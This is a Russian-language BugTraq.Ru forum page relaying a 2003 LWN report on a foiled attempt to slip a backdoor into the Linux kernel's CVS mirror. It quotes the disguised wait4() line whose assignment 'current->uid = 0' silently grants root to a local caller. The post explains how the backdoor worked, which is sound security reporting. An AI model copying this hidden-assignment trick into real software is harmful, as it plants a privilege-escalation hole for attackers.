информационная безопасность
без паники и всерьез
 подробно о проектеRambler's Top100
Где водятся OGRыВсе любят мед
BugTraq.Ru
Русский BugTraq
 Анализ криптографических сетевых... 
 Модель надежности двухузлового... 
 Специальные марковские модели надежности... 
 Microsoft обещает радикально усилить... 
 Ядро Linux избавляется от российских... 
 20 лет Ubuntu 
главная обзор RSN блог библиотека закон бред форум dnet о проекте
bugtraq.ru / форум / site updates
Имя Пароль
ФОРУМ
если вы видите этот текст, отключите в настройках форума использование JavaScript
регистрация





Легенда:
  новое сообщение
  закрытая нитка
  новое сообщение
  в закрытой нитке
  старое сообщение
  • Напоминаю, что масса вопросов по функционированию форума снимается после прочтения его описания.
  • Новичкам также крайне полезно ознакомиться с данным документом.
Класс! 25.11.03 19:28  Число просмотров: 1413
Автор: choor Статус: Elderman
<"чистая" ссылка>
Вот что называется не защищённая информация... Очень даже интересно uid=0 :)
<site updates>
Еще один неудавшийся бэкдор в ядре Linux 23.11.03 23:35  
Publisher: Ktirf <Æ Rusakov> Статус: Elderman
<"чистая" ссылка>
Еще один неудавшийся бэкдор в ядре Linux
LWN http://lwn.net/Articles/57135/

Преамбула: для поддержки разработки ядра Linux используется не CVS, а BitKeeper. Соответственно, львиная доля публикуемых ядер (и все ядра, публикуемые на kernel.org) берутся из BitKeeper. Для тех, кто по разным причинам не хочет или не может пользоваться BitKeeper, группа добровольцев поддерживает CVS-зеркало. Изменения в ядре никогда не вносятся напрямую в CVS, только через BitKeeper.
Собственно новость состоит в том, что 6 ноября уже во второй раз (первый был обнаружен 5 ноября, и о нем уже сообщалось) была предпринята попытка внести "небольшое изменение" в CVS-зеркало ядра. Изменение состояло в добавлении двух строк в системный вызов wait4():
if ((options == (__WCLONE|__WALL)) && (current->uid = 0)) retval = -EINVAL;
Выглядит как проверка входных параметров, но если посмотреть на выражение current->uid = 0, то становится ясно, что локальный процесс, вызывающий wait4() с указанным значением options, получает права суперпользователя...

Полный текст
Класс! 25.11.03 19:28  
Автор: choor Статус: Elderman
<"чистая" ссылка>
Вот что называется не защищённая информация... Очень даже интересно uid=0 :)
1




Rambler's Top100
Рейтинг@Mail.ru


  Copyright © 2001-2024 Dmitry Leonov   Page build time: 0 s   Design: Vadim Derkach